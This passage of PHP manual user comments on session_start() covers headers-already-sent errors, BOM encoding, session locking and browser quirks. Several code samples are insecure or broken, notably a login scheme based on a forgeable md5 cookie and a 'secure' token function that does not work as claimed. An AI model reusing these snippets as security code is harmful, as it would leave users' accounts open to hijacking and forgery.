                if($recursive) $result[] = file_array($path . $filename . "/", $exclude, true);
            } else {
                if ( fopen_utf8($path . $filename) )
                {
                    //$result[] = $filename;
                    echo ($path . $filename . "<br>");
                }
            }
        }
    }
    return $result;
}

$files = file_array(".");
?>
info at nospam dot mmfilm dot sk 30-Dec-2009 04:58
For those of you running in problems with UTF-8 encoded files:

I was getting an error because of the BOM, although i set Dreamweaver to "save as" the without the BOM. It appears that DW will not change this setting in already existing files. After creating a new file withou the BOM, everything worked well.

I also recommend http://people.w3.org/rishida/utils/bomtester/index.php - a utility that remote checks for the presence of BOM.
jamestrowbridge at gmail dot com 29-Dec-2009 06:57
Unfortunately, after pulling my hair out trying to figure out why my application was working fine in every browser other than IE ( Internet Explorer) (Opera, Chrome, Firefox, Safari are what I've tested this in) - when using a DNS CNAME record (like a vanity name that is different from the DNS A record, which is the hostname of the server) sessions do not work correctly.

If you store a session var while on the CNAME:
vanity.example.com and the hostname of the server is hosname.example.com
Then try to call the variable from a different page, it will not find it because of the CNAME (I guess it store the variable under the hostname, then when trying to read it it's still looking under the CNAME) the same application works fine when accessing it under the hostname directly.  Keep in mind that I was testing this on an internal network.
eugene at ultimatecms dot co dot za 24-Nov-2009 07:39
Ever get an error like this:

Warning: Unknown: open(/tmp/sess_lLFJ,tk9eFs5PGtWKKf559oKFM3, O_RDWR) failed: Permission denied (13) ?

Don't ask me how, but I managed to fix it by calling
session_id() before session_start(), at the top of the page.

Try it. Hopefully it'll help someone else.
myemail gerolf at pictureparking dot com 08-Oct-2009 01:12
please note that at least in php 5.3.0 the setting session.use_only_cookies (in php.ini) defaults to "on". This means that using trans_id, and passing the PHPSESSID via the url does not work untill you change that setting.
Charlie at NOSPAM dot example dot com 22-Sep-2009 04:04
Be warned that depending on end of script to close the session will effectively serialize concurrent session requests.   Concurrent background "data retrieval" (e.g. applications such as AJAX or amfphp/Flex) expecting to retrieve data in parallel can fall into this trap easily.

Holding the session_write_close until after an expensive operation is likewise problematic.

To minimize effects, call session_write_close (aka session_commit) as early as practical (e.g. without introducing race conditions) or otherwise avoid the serialization bottleneck.
schlang 27-Jul-2009 07:44
if you store your sessions in a database, always ensure that the type of the database column is large enough for your session values
emre@yazici 23-Jul-2009 11:46
PHP Manual specifically denotes this common mistake:

Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!

See session_id() manual page for more details.
dstuff at brainsware dot org 21-Jul-2009 02:53
It seems like spaces in the name don't work either - got a new session id generated each time
abiusx at gmail dot com 12-Jul-2009 12:03
Working with Comet, or any other parallel or simultaneous requests from a single browser (a single session) would lock the application if it uses a centralized session management.

To fix this, you should add session_commit() (Alias of session_write_close() ) after ALL session management, i.e using any session_* functions except session_start() is forbidden after that an causes an error.
hperrin at gmail dot com 24-Jun-2009 10:41
When using session_start() multiple times in one script, it seems to only maintain $_SESSION variables with string keys.

<?php
session_start();
$_SESSION[0] = 'this is a test';
$_SESSION[1] = 'this is also a test';
$_SESSION['test0'] = 'this is a test';
$_SESSION['test1'] = 'this is also a test';
session_write_close();

session_start();
echo "Session var 0 = ".$_SESSION[0]."<br />";
echo "Session var 1 = ".$_SESSION[1]."<br />";
echo "Session var 'test0' = ".$_SESSION['test0']."<br />";
echo "Session var 'test1' = ".$_SESSION['test1'];

?>

Outputs:
Session var 0 =
Session var 1 =
Session var 'test0' = this is a test
Session var 'test1' = this is also a test
gilthans NOSPAN at gmail dot com 04-Jun-2009 02:55
If two different files don't access the same session, it can only mean one thing: they aren't on the same directory level.
Examples:
a) One is under https, and one is under http. (very common and annoying error)
b) One is under /, another is under /dir1, and /dir1 was first to run. The cookie created by the session is for /dir1 and deeper only, so the other script can't read it; it sees no session so it starts a new one.

Solutions:
1) Session start should always happen at root dir. If one of your scripts discovers user is not logged in, for example, use session_destroy() and send him to the login in the root dir. Scripts that use session without requiring login needs more creative solutions, like redirecting to the root dir, setting the session, and redirecting back.
2) Use SID from page to page, instead of cookies. The upside is that this also works with http/https. The downside is very ugly URL codes and more difficult maintainability ('which pages links to gallery.php without using SID?!').
kavih7 at yahoo dot com 19-May-2009 01:52
I ran into a problem that has a solution that may not be quite intuitive to people (well, atleast it wasn't for me). I had one script that called session_start() and that script would run for an indefinite amount of time. I had a second script that would also call session_start(), but would only run for a few seconds each time it is called.

Here is where the problem occurs: Once session_start is called from the long living script, no other script can call session_start until that long running script calls session_commit() (session_write_close()) or ends.

In any case, this may have seem very intuitive to others, but having an abstracted system in place, I never see the session management at the script level, so it was hard to figure out what was locking any other requests.

Hope this helps others.
Gravis 01-Apr-2009 08:04
If you want to check if a session has already been activated, you can check $_COOKIE["PHPSESSID"] for a value before reactivating that session.

Example code:

== login.php ==
<?php
  session_start();
  $_SESSION["data"] = "you have an active session!";
  echo "<a href=\"page.php\">go</a>";
?>

== page.php ==
<?php
  if(isset($_COOKIE["PHPSESSID"]))
  {
    session_start();
    echo $_SESSION["data"];
  }
  else
  {
    echo "no cookies required!";
  }
?>

This can prevent forcing a cookie on someone (very annoying in lynx) that doesnt intend to login on your site.
LaurenceJ44 at Hotmail dot com 01-Apr-2009 09:36
I kept getting:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at myfile.php:2)

Only when I had uploaded my pages from my home development server to my hosted website.  the same page worked fine in development, so there must be a difference in the php setup, but since this is a site that hosts many different clients web sites, I can't get them to change thier config.

After a little bit of research and trial and error, I found the cure was to move the line:
<?php session_start(); ?>

to be the very 1st line in any .php file.

orginally I had:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<?php session_start(); ?>
<html>
<head>
...etc

so I changed it to :
<?php session_start(); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
...etc

and all is well...

The clue is in the warning message, it ends :2)  which means the session_start() call is not on line 1 of the file!

Hope this helps & good Luck

Loz
microvalen at NOSPAM dot microvalen dot com 23-Mar-2009 07:09
I have tried many times a lot of login scripts but sometimes when you have a lot of traffic you can note the "overloading" of the server tring to deal with all sessions specialy with the long, long scripts and classes ... checking all stuffs (ids, ips, usernames, etc) the loading page increase ...specialy when you have a "home" server with a small blog..

if you open the folder "/tmp" you will thousands of files that do nothing else that increasing the size of the folder.
Sessions are good and I just offer an alternative.
.. and for that I just created in about 20 min a simple script that can handle a simple login.

<b>(Be aware !! this is just an example .. it not make use of any check of xss atacks or other scripts !!!</b>

and make use of cookies [today all moderns browsers use cookies])

<?php

$mysqli = new mysqli('localhost', 'root', 'pass', 'nameofDB');

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit(); }

$cookie = (isset($_COOKIE['vuid'])) ? $_COOKIE['vuid'] : '';

if(!$cookie) {
    $user_level = 0;
    setcookie('vuid', '0.' . md5('anonymous')); }
else {
    $part = explode('.', $cookie);
    $user_level = (int) $part[0];
    $user_name = (string) $part[1];

    if($user_level != 0) {
        $is_logged = check_login($user_level, $user_name); }
    else {
        $is_logged = false; } }

if(isset($_GET['login'])) {
       // here you MUST make a form and a function that realy check the login ...
        if($YourFunctionCheckIsOk) {
    setcookie('vuid', /*levels betwen 1-9*/ '9.' . md5('PutTheUserNameHere'));
    echo '<meta http-equiv="refresh" content="1;URL=index.php">
    Correct Login<br>
    You will be redirected to the main page'; } }
elseif(isset($_GET['logout'])) {
    setcookie('vuid', '0.' . md5('anonymous'));
    echo '<meta http-equiv="refresh" content="1;URL=index.php">
    You are out now ... see you soon<br>
    You will be redirected to the main page'; }
else {
    if($is_logged) {
        echo 'Welcome ' . USERNAME . ' <a href="?logout">LOGOUT</a>'; }
    else {
        echo 'You are a Anonymous. LOGIN <a href="?login">HERE</a>'; } }

function check_login($user_level, $user_name) {
    global $mysqli;

    $is_logged = false;

    $result = $mysqli->query('SELECT nick FROM accounts WHERE user_level = ' . $user_level);
    $row = $result->fetch_array();
    $result->close();
    if($user_name === md5($row['nick'])) {
        define('USERNAME', $row['nick']);
        return $is_logged = true; }
    return $is_logged = false; }

$mysqli->close();

?>

PS: you can change the nick with the ip or better use both !
like:
 "level.md5(sha1(nick)).sha1(md5(ip)) etc ...
 "0.4aea7c7d495676.4aea7c7d495676"
and check them separetly by <a href="http://php.net/explode">"exploding"</a> them ..
play arround ...
tchalvakspam at gmail dot com 23-Feb-2009 10:25
Be aware that if a browser isn't accepting cookies, it can cause the session to invisibly not save between two pages.

So for example, in Firefox 3.0.6 there is a bug where "localhost" addresses are currently not saving cookies.  This will kill any attempts to use session code in development where localhost is used.

One workaround for this is to use a different synonym for the localhost address, i.e. http://127.0.0.1/, or set up a virtualhost, e.g. http://localdevelopment/

Overall, pay close attention if you see to different, unexpected session behavior in two different browsers, it may be a result of the cookies being handled differently or being dropped.
yesmarklapointe at hotmail dot com 05-Feb-2009 01:32
Here is some info about how to use SID with session_start().
Experiment run on WAMPserver, PHP version 5.2.6.
Using FireFox 3.0.

The definition found at http://www.php.net/manual/en/session.constants.php
describes SID is a “pre-defined constant” containing either:
1). the session name and session ID in the form of "name=ID" .
This is the same name as would be returned by session_name(), and the same id as would be returned
by session_id().

2).  Or an empty string,  if the session ID was set in an appropriate session cookie.

Example code:
<?php
session_start();
echo '<a href="page2.php?' . SID . '">page2</a>';
?>

This code will yield in the browser one of the following:
a).   “page 2”      (as a hyperlink, but mouseover shows the link is to something in the form of
http://www.example.com/page2.php?PHPSESSID=e2bd7072....  )

b).   “page 2”     (as a hyperlink, but mouseover shows http://www.example.com/page2.php? )

Which result is determined by whether or not the browser is sending a matching session cookie back to the script. Result “a” above always appears at least initially since the script hasn’t yet set a cookie and neither has it been done automatically yet by the php.ini setting session.use_cookies. However, after refreshing or using the back button, the form in "b" will appear because then the cookie exists (either you set it or session.use_cookies did it automatically).
info at vanylla dot it 30-Jan-2009 01:06
If while testing locally on your Windows machine you get many warnigns like:

Warning: session_start()... failed: No such file or directory
Warning: session_start()...: Cannot send session cache limiter - headers already sent
etc.

you need to configure properly the session.save_path in your php.ini file.

Set session.save_path to an existing folder on your PC.
For example: session.save_path="C:\Temp";
Jessycormier at gmail dot com 25-Jan-2009 12:14
I found i was getting a lot of
"Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent "

Warnings, on some pages, where as on other pages it worked just fine.

After some time looking around and trying things like ob_start() and session_write_close()... nothing seemed to work.

Then i realized the encoding of the page. I checked the encoding of the page and it was set to UTF-8, so I changed it to ANSI and now the Warnings went away.

Good luck any one else.
philippe dot latulippe at xxxxgmail dot com 12-Jan-2009 03:12
When using session_start() with cookies over an encrypted connection (like HTTPS) it is important to set php_ini('session.cookie_secure',true).  This sets a flag in the cookie which will stop browsers from sending this cookie over an unsecured connection.  If this is not done, a Man-In-The-Middle could easily cause the victim's browser to send his session ID in plaintext, gaining access to the account and defeating the goal of the secure connection.

http://fscked.org/blog/fully-automated-active-https-cookie-hijacking
zidaine_38 at yahoo dot com 06-Dec-2008 05:31
<?php
class SESSION
{
   public function __construct ()
   {
   self :: commence ();
   }

   public function commence ()
   {
    if ( !isset( $_SESSION ['ready'] ) )
     {
      session_start ();
      $_SESSION ['ready'] = TRUE;
     }
   }

   public function set ( $fld , $val )
   {
   self :: commence ();
   $_SESSION [ $fld]  = $val;
   }
   public function un_set ( $fld )
   {
   self :: commence ();
   unset( $_SESSION [$fld] );
   }
   public function destroy ()
   {
   self :: commence ();
   unset ( $_SESSION );
   session_destroy ();
   }
   public function get ( $fld )
   {
   self :: commence ();
   return $_SESSION [$fld];
   }
   public function is_set ( $fld ) {
   self :: commence ();
   return isset( $_SESSION [$fld] );
   }
}
?>

This Class is handy to all who want easy session handling.
Just include () or require () this to pages where you will have to use session.

example:

<?php
 include ( "/path/to/sess.inc.php" );
 if( !SESSION :: is_set ( "number" ) )
  {
   SESSION :: set ( "number" , 1 );
  }
 else
  {
   $_SESSION ["number"] ++;
  }
  echo SESSION :: get ( "number" );
?>
andy_isherwood at hotmail dot com 18-Nov-2008 03:54
A session created with session_start will only be available to pages within the directory tree of the page that first created it.

i.e. If the page that first creates the session is /dir1/dir2/index.php and the user then goes to any page above dir2 (e.g. /dir1/index.php), session_start will create a new session rather than use the existing one.
aban at datahouselibya dot com 17-Jul-2008 05:11
for resolve the problem with session_start()
Cannot send session cache limiter - headers already sent (output started at ..."

write it at first line of the page like

<?php session_start(); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<body>
<?php $_SESSION['name']='mohamed'; ?>
</body>
<html>
michael at pythontech dot net dot au 14-Jul-2008 05:17
@ash

Whilst this may prevent session hijacking attempts, it also ruins the user experience, pressing back and forward will result in the 'security' token being out of sync. Also opening new tabs/ windows will also cause issues.

A better method would be to simply check the ip address or ip block of the user. But this is not without problems either.

To access highly sensitive information, the user should be required to enter his/her password again, even tho they are logged in. This ensures that session hijackers can not access this information.

All this goes hand-in-hand with regenerating session ids on login, and good use of https.
ash at atomic-network dot co dot uk 28-May-2008 06:33
@My last post...
the function will generate the session "token" you just need to do a check and regenerate it on each page load...
ash at atomic-network dot co dot uk 28-May-2008 06:29
When developing applications or just creating a general website with the use of sessions, many developers do not think about securing session hijacking attacks. For further information I recommend searching google, however I have produced a small function to be called immediately after session_start().

your_page.php:
<?php
session_start();
include_once 'session_secure.inc.php';
session_secure();
# Your content here.
?>

session_secure.inc.php :
<?php
function session_secure(){
    // wrapped for the php entry....
    $alph =array('A','a','B','b','C','c','D','d','E',
    'e','F','f','G','g','H','h','I','i','J','K','k',
    'L','l','M','m','N','n','O','o','P','p','Q','q',
    'R','r','S','s','T','t','U','u','V','v','W','w',
    'X','x','Y','y','Z','z');
    for($i=0;$i<rand(10,20);$i++){
        $tmp[] =$alph[rand(0,count($alph))];
        $tmp[] =rand(0,9);
    }
    return implode("",shuffle($tmp));
}
?>

There are quicker ways like md5(time()*rand()), however the function above is completely random, and will render an attackers hijacking task almost impossible.
vladimir at pixeltomorrow dot com 14-May-2008 04:31
Kind of ankward it's not mentioned here, but you should also trigger the session_write_close() function as soon as possible so you'll release the lock over the session files.

Cheers,
Vladimir Ghetau
chrismckeeuk at gmail dot com 10-May-2008 09:51
If your sessions are failing to hold the stored data ensure that session.use_only_cookies is set to 1 in your PHP.ini config.

Also using the session auto start saves on a lot of issues and removes the issue of people setting the session_start after the html begins.
Anthony Catel p at NOSPAM dot rabol dot fr 03-May-2008 05:02
session_start() generate a warning if PHPSESSID contains illegal characters

Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /home/para/dev/mon_site/header.php on line 17

To avoid i wrote this :

<?php
    function my_session_start()
    {
        if (isset($_COOKIE['PHPSESSID'])) {
            $sessid = $_COOKIE['PHPSESSID'];
        } else if (isset($_GET['PHPSESSID'])) {
            $sessid = $_GET['PHPSESSID'];
        } else {
            session_start();
            return false;
        }

        if (!preg_match('/^[a-z0-9]{32}$/', $sessid)) {
            return false;
        }
        session_start();

        return true;
    }
?>
php at hogerheijde dot net 29-Feb-2008 08:53
That's why you shouldn't use register_globals and refer to
$_GET['id']
for the page.php?id=1
or if you don't care if it is GET or POST you can use
$_REQUEST['id']

Those will not be cleared by session_start().

To complete: you should use $_SESSION['id'] to get the content of the session.
jphansen at uga dot edu 25-Feb-2008 08:12
I just wrote that session_start() will erase your querystring variable(s) once called. I want to clarify that it will only do this if a variable by the same subscript is defined in $_SESSION[].
jphansen at uga dot edu 25-Feb-2008 07:55
Warning, calling session_start() will reset your querystring values.

Navigating to page.php?id=1

<?php
echo "id = $id"; // 1
session_start();
echo "id = $id"; // ""
?>
fixis at nexus dot com 16-Feb-2008 03:42
I also found using session_write_close(); after you send your custom headers sometimes helps on some servers.  This protects any data from being cleared out by some of these errors mentioned.
cbake6807 at comcast dot net 05-Feb-2008 05:20
Having a problem in IE causing your getFile.php script to be pushed to the browser as an empty text file, instead of the intended attachment?

If your php config causes session_start() to output a cookie, or anything funky, IE will not like the filename and will also try and read the file contents inline into the browser window.

Don't use session_start() or USE Output Buffering after the session is started.

<? //session_start();

    function force_download($file)
    {
        if ((isset($file))&&(file_exists($file))) {
           $fileArray = explode("/", $file);
           header("Content-type: application/force-download");
           header("Content-Disposition: attachment; filename=".$fileArray[sizeof($fileArray)-1]);
           header("Content-Transfer-Encoding: Binary");
           header("Content-length: ".filesize($file));
           header('Content-Type: application/octet-stream');
           header("Content-Disposition: attachment; filename=".$fileArray[sizeof($fileArray)-1]);
           readfile("$file");
        } else {
           echo "No file selected";
        } //end if

    }//end function

?>
rudylattae at gmail dot com 28-Jan-2008 02:58
File Encoding was causing my session_start() statement to generate an unexpected warning.

Environment:
OS: Windows XP Pro (32bit)
PHP: v5.2.5
Apache: v2.0.61

I was having this warning:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at ...

I was rather pissed off because I know of this issue and I know how to fix it:

1) Just make sure the session_start() directive is processed before any other statements that modify the content headers.

2) Failing #1 above, you should also make sure that your script files do not have any beginning/trailing space or carriage return characters.

3) As a last stand, you could use output buffering to hold your stuff in memory and then spit it out at the very end. This would essentially allow you to manipulate the headers to your heart's content without getting any crap from php.

Note: with regards to #2 above, I know some devels use the interesting construct of no closing php braces e.g.:

> info.php
<?php
    phpinfo();

?> (they omit this)

It seems the tag is not required by php (at least php does not puke) so the parser does not treat any trailing spaces as output to be sent to the user agent. I'm not using this loop-hole at the moment.

Anyway the above resolutions *did not* work for me (yer even #3) and I was about to give up and just gag php with good ol "@".

It was then that I thought to check the encoding of my php file. Turns out I had left my editor in UTF-8 encode mode from some previous (i18n) work I had done. I switched to ANSI and that fixed the problem. Suddenly the same file that had caused php to scream in pain was being processed without any issues.

I also noted that I could set the editor to "Encode in UTF-8 without BOM" and that also works. The BOM is the byte order mark which php probably glosses over (or does not understand). I didn't look too far into it.

I hope this helps someone else.

Cheers!
omnibus at omnibus dot edu dot pl 07-Jan-2008 12:29
You probably know it but in case somebody did not:
session_start() must be called BEFORE any explicit operations on the $_SESSION variable; otherwise $_SESSION will be treated as an ordinary variable and not stored for future use.
k dot dafalias at ist dot eduhi dot at 14-Nov-2007 01:25
If you encounter "The session id contains illegal characters" error, find out, if you get an empty session id.
If so, the problem ist fixed easily:

if(!session_id()) session_regenerate_id();
ehassler at synapsestudios dot com 20-Sep-2007 01:32
At work we had an odd warning, "Cannot send session cache limiter - headers already sent". In the following:

header('meta:1');
session_start();

the first header went across fine, but the session_start died with the warning.

What was happening was that the session contained an object which fired __autoload() when it was unserialized. The __autoload() then included the file with the class definition, but that file also output non-header text.  This caused session_start() to be unable to add the session_id to the headers.

This was difficult to find because we weren't able to see the text that was output from the file that was __autoload()ed, only the warning.
(zero)luke(zero)(at)gmail(dot)com 07-Jul-2007 12:55
Regarding the posts discussing ways of checking if a session is active, I've found that this is the best way, aslong as you dont assign any variables to the $_SESSION superglobal before calling the function.

The Function:

<?php

function session_started(){

    if(isset($_SESSION)){ return true; }else{ return false; }

}

?>

An Example:

<?php

function session_started(){
    if(isset($_SESSION)){ return true; }else{ return false; }
}

//Start the output buffer so we dont create any errors with headers
ob_start();

//Check to see if it has been started
if(session_started()){
    echo 'The session has been started.<br />';
}else{
    echo 'The session has not been started.<br />';
}

//Start the session
echo 'Starting Session...<br />';
session_start();

//Check again
if(session_started()){
    echo 'The session has been started.<br />';
}else{
    echo 'The session has not been started.<br />';
}

//Flush the buffer to screen
ob_end_flush();

?>

Hope this helps some people.
Steffen dot Pietsch at berlinonline dot de 15-May-2007 12:05
Beware to use $_SESSION as parameter to a function.
(here: php5  5.1.2)

Use:
    $s=array(); foreach($_SESSION as $k => $v) $s[$k]=$v;
    $result = VeranstaltungTermin::search($s, $quellen, $KatCount);

otherwise the garbage-collection of php5 will destroy at end of script Your $_SESSION array before writing to disk
Chris Brown 24-Apr-2007 01:17
Here's another session tip for you, relevant to IE6:

If you find that your session is unexpectedly lost when your application opens a page in a pop-up window, try closing down any other copies of IE running on your machine.

The problem is that IE doesn't always use the same IE process to host a new pop-up window - it chooses one (using some mysterious strategy) from the pool of running IE processes! Since session information (cookies) is not preserved across processes, the pop-up may loose the session (and probably redirect the user to your log-in page.)

I don't know a work-around for this, except for close all other IE windows. Microsoft state that they do not guarantee that sessions will be preserved across multiple windows: http://support.microsoft.com/default.aspx/kb/196383
leandroico---at---gmail---dot---com 17-Mar-2007 01:21
TAGS: session_start headers output errors include_once require_once php tag new line

Errors with output headers related to *session_start()* being called inside include files.

If you are starting your session inside an include file you must be aware of the presence of undesired characters after php end tag.

Let's take an example:
> page.php
<?php
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';

echo "Damn! Why I'm having these output header errors?";
?>

> i_have_php_end_tag.inc.php
<?php
$_JUST_A_GLOBAL_VAR = 'Yes, a global var, indeed';
?>

> init_session.inc.php
<?php
session_start();
$_SESSION['blabla'] = 123;
?>

With all this stuff we will get an error, something like:
"... Cannot send session cache limiter - headers already sent (output started at ...", right?

To solve this problem we have to ignore all output sent by include files. To ensure that we need to use the couple of functions: *ob_start()* and *ob_end_clean()* to suppress the output. So, all we have to do is changing the *page.php* to this:

<?php
ob_start();
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';
ob_end_clean();

echo "Woo hoo! All right! Die you undesired outputs!!!";
?>
iam1981 26-Feb-2007 02:45
I had the same "session data lost" issue. I couldn't solve it with a single session_start(). Instead I had to include session_start() in each page.

Another X File archived...
design at ericcorriel dot com 15-Feb-2007 05:08
For those encoding their pages in UTF-8 but running into problems with BOM data (Byte Order Marks) being outputted before anything else - such as $_SESSION data - but wish to use UTF-8 encoding, and who do NOT wish to use UTF-8 No BOM encoding because the latter produces weird results when using foreign language accented characters, try the following :

- Save your document with UTF-8 No BOM encoding (on a mac, using BBEdit, this is normally found on the very bottom left corner of the window).  This will produce a document that will not output BOM data.
- then, in your scripts, include the following:

header('Content-Type: text/html; charset=UTF-8');

before your call to session_start()

hope that helps someone.
r dot s dot goldsmith at far-blue dot co dot uk 25-Jan-2007 12:22
If you ever want to know whether a session is open or has already been closed (e.g. with session_write_close()) when you need to open one (in my case, writing a framework and, therefore, not controlling the session directly), I have been unable to find an official check. However, I did notice that session_start() has the following behaviour:

* If the session has been open before but is now closed, when you call session_start() the $_SESSION array is reset to the content of the session.

* If the session is already open, the $_SESSION array is left totally untouched.

Therefore, I came up with the following (obviously assuming you have already tested $_SESSION exists):

<?php
$_SESSION['testMe']='test';
@session_start();

if(isset($_SESSION['testMe']))
{
    echo "Session was open\n";
    unset($_SESSION['testMe']);
}
else
    echo "Session was closed\n";
?>

Until someone can tell me the 'official' way to do it, this seems to work.

Just to save some confusion, $_SESSION, session_id() and the SID define all maintain their values after a session_write_close() so are of no use in identifying if a session is currently open or not. Hence this trick.
Devour 18-Jan-2007 11:51
How many times you've seen this error when actually your code is perfect:

Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in

Usually there are MANY reasons why such an error can appear into your logs, page, etc. (one way to generate it, is to send PHPSESSID='').

But it wasn't our case. We checked everything, and we even logged the entire request ($_GET, $_POST) that was generating the error.
Still no luck. Until one point, when we checked what the session cookie contains.
It seems there are few bots that are trying to buffer overflow (?) a page, using session cookies manually changed to contain something else than session id (strlen == 32 and  hex number) The bot in our case was trying to mass submit spam on pages.
So we needed to check and destroy any session id that do not comply.

After adding this code:
$sn=session_name();
if(isset($_GET[$sn])) if(strlen($_GET[$sn])!=32) unset($_GET[$sn]);
if(isset($_POST[$sn])) if(strlen($_POST[$sn])!=32) unset($_POST[$sn]);
if(isset($_COOKIE[$sn])) if(strlen($_COOKIE[$sn])!=32) unset($_COOKIE[$sn]);
if(isset($PHPSESSID)) if(strlen($PHPSESSID)!=32) unset($PHPSESSID);
session_start();
we got rid of that.

( Note: The code is before session_start() )

Strange, kinda paranoid, but effective.
cppforlife at yahoo dot com 18-Dec-2006 07:12
If you are getting headers sent error check what is the encoding of your file. In my case i had utf-8, so i changed it to ansi, and everything worked.

hope it helps!
mike at mikebird dot co dot uk 10-Dec-2006 11:34
It seems that the session file is opened exclusively.
On some occasions (Windows) I have found that the file lock is not released properly for whatever reason, therefore causing session_start() to hang infinitely on any future script executions.
My way round this problem was to use session_set_save_handler() and make sure the write function used fopen($file, 'w') instead of fopen($file, 'x')
evil dot 2000 at web dot de 08-Oct-2006 01:06
I had a problem accessing a session which is open in another frame at the same time.
I had a frame, which is displaying a live text like a chat. It has an opend and locked session. I tried to add data to this session with another frame, but this wouldn't work.
In the first frame i had a loop which is looking for fresh data in the session and prints it out like this:
<?php
 session_start();

 [...]

 while (true) {
  echo $_SESSION["input"]."\n";
  sleep(1);
 }
?>
But this locks the session, and no other frame can access the session data at the same time.
So i modified this loop a bit like this:
<?php
 session_start();

 [...]

 session_commit();
 while (true) {
  ob_start(); session_start(); ob_end_clean();
  echo $_SESSION["input"]."\n";
  session_commit();
  sleep(1);
 }
?>
Now the second frame is able to access the session.
The ob_start() and ob_end_clean() is just for surpressing the cookie output to the browser.
Dino 30-Sep-2006 03:36
With IE and FF, session_start() appears to stop form values being preserved when the user browses 'back' to a page (I'm using SBS2K3 IIS6 PHP5.1.1).

For example if you set some hidden form values from javascript in one page, then navigate to another page and come back using the browsers back button, the form values should be preserved. But this does not happen when your your form page uses session_start().

The following seems to sort this out nicely:

session_cache_limiter('public');
session_start();
double at dumpit dot de 30-Sep-2006 04:35
A bedder way to check wether the session is started including ip logging, so it will be a little saver. in 4 small lines.

<?php

    if( !isset( $_SESSION ) ) { session_start(); }
    if( isset( $_SESSION['REMOTE_ADDR'] ) && $_SESSION['REMOTE_ADDR'] != $_SERVER['REMOTE_ADDR'] )
    { session_regenerate_id(); $_SESSION['REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR']; }
    if( !isset( $_SESSION['REMOTE_ADDR'] ) ) { $_SESSION['REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR']; }

?>

Yes, the code is a little bit self-willed ;)
ben dot morin at spaboom dot com 29-Sep-2006 06:49
James at skinsupport dot com raises a good point (warning) about additional requests from the browser.  The request for favicon.ico, depending on how it is handled, can have unintended results on your sessions.

For example, suppose you have ErrorDocument 404 /signin.php, no favicon.ico file and all pages in your site where the user signs in are also redirected to /signin.php if they're not already signed in.

If signin.php does any clean up or reassigning of session_id (as all good signin.php pages should) then the additional request from the browser for favicon.ico could potentially corrupt the session as set by the actual request.

Kudos to James for pointing it out and shame on me for skimming past it and not seeing how it applied to my problem.  Thanks too to the Firefox Live HTTP Headers extension for showing the additional request.

Don't waste days or even hours on this if your session cookies are not being sent or if the session data isn't what you expect it to be.  At a minimum, eliminate this case and see if any additional requests could be at fault.
truthhunter 26-Sep-2006 02:57
Another one bitten by the "a different domain name gives you a new session" in IE...

My site uses interactive PDF documents.  A user saves data from them into FDF documents, and when this happens, the site also includes the URL of the PDF in the FDF data (using the FDF "/F" tag).

This URL is generated using the $_SERVER["HTTP_HOST"] value from PHP.  For some as-yet-undetermined reason, when my hosting provider updated PHP (I believe to 4.4.1), for a time the $_SERVER["HTTP_HOST"] value apparently dropped the "www." from my domain name.  So, some FDF files were saved with this different URL value.  Needless to say, when one of these FDFs loaded the corresponding PDF, although the load and display of the PDF worked, any subsequent save operation (which relies on current session information for validating the user, etc.) initiated from within the PDF failed.  The original session had been established for the "www.example.com", but because the PDF URL lacked the "www.", PHP/IE had established a new, essentially empty, session.

I scratched my head over this problem for months and only recently happened upon this fix.  In my case, manually patching the failing (binary) FDF files to include the "www." in the URL for the PDF did fix it.

Hopefully someone else finds this helpful...!
mjr-php at ranney dot com 14-Sep-2006 06:55
For some reason, MSIE gets confused when session_start() is called and the Content-disposition has been set to "attachment".  The only solution I've found is this:

<?php
if(strpos($_SERVER['HTTP_USER_AGENT'],"MSIE")) {
  session_cache_limiter('public');
}
session_start();
?>
roope dot luhtalaNOSPAM at iki dot fi 07-Sep-2006 07:36
If your session_start() does not set a cookie, but instead just generates a new session_id on every request, you should check if your script is echoing something before the function call. Even a line change in the code before the session_start() function prevents the cookie to be set.
colemanc at colemanesolutions dot com 29-Aug-2006 12:30
In reference to the "Cannot send session cache limiter..." error message, I have tried a number of ways to supress the error. An If/Then block will work only if you store the flag in a session variable, cookie, or other method. Or, you can obviously supress error messages by the error level. However, the simplest way to do it is a simple:

@session_start();

This will hide all error messages resulting from that line of code. I would only recommend this method AFTER you have fully tested your code but it is very effective when that is your only error and you do not want to completely stop code exectution by means of a die() or exit() function.
core58 at mail dot ru 08-Aug-2006 03:36
when you're using session trans sid ENABLED, and you perform redirect such as Header( "Location..." ), redirected client will SURELY loose his session.
to avoid this, you can use a modified version of redirect function, like this:

<?php

function Redirect302( $location )
{
    $sname = session_name();
    $sid = session_id();
    if( strlen( $sid ) < 1 )
    {
        Header( $location );
        return;
    }

    if( isset( $_COOKIE[ $sname ] ) || strpos( $location, $sname."=".$sid ) !== false )
    {
        Header( $location );
        return;
    }
    else
    {
        if( strpos( $location, "?" ) > 0 )
            $separator = "&";
        else
            $separator = "?";

        $fixed = $location . $separator . $sname."=".$sid;
        Header( $fixed );
        return;
    }
}

?>

expamle:
Redirect302( "Location: /YourPage/index.php" );

the function performs common redirect if no session is active, and appends session "name=sid" to query string when session is already started,  like PHP parser does when outputting your page.

hope, you'll find it useful.
yours:)
devonmitton at gmail dot com 26-Jul-2006 10:35
I ran into the problem of losing the session after i redirect the user with header( location:);

I found that the problem doesn't occur in php5. Atleast for myself. I tested it on IIS as well as Apache and both times using php5 fixed the issue.

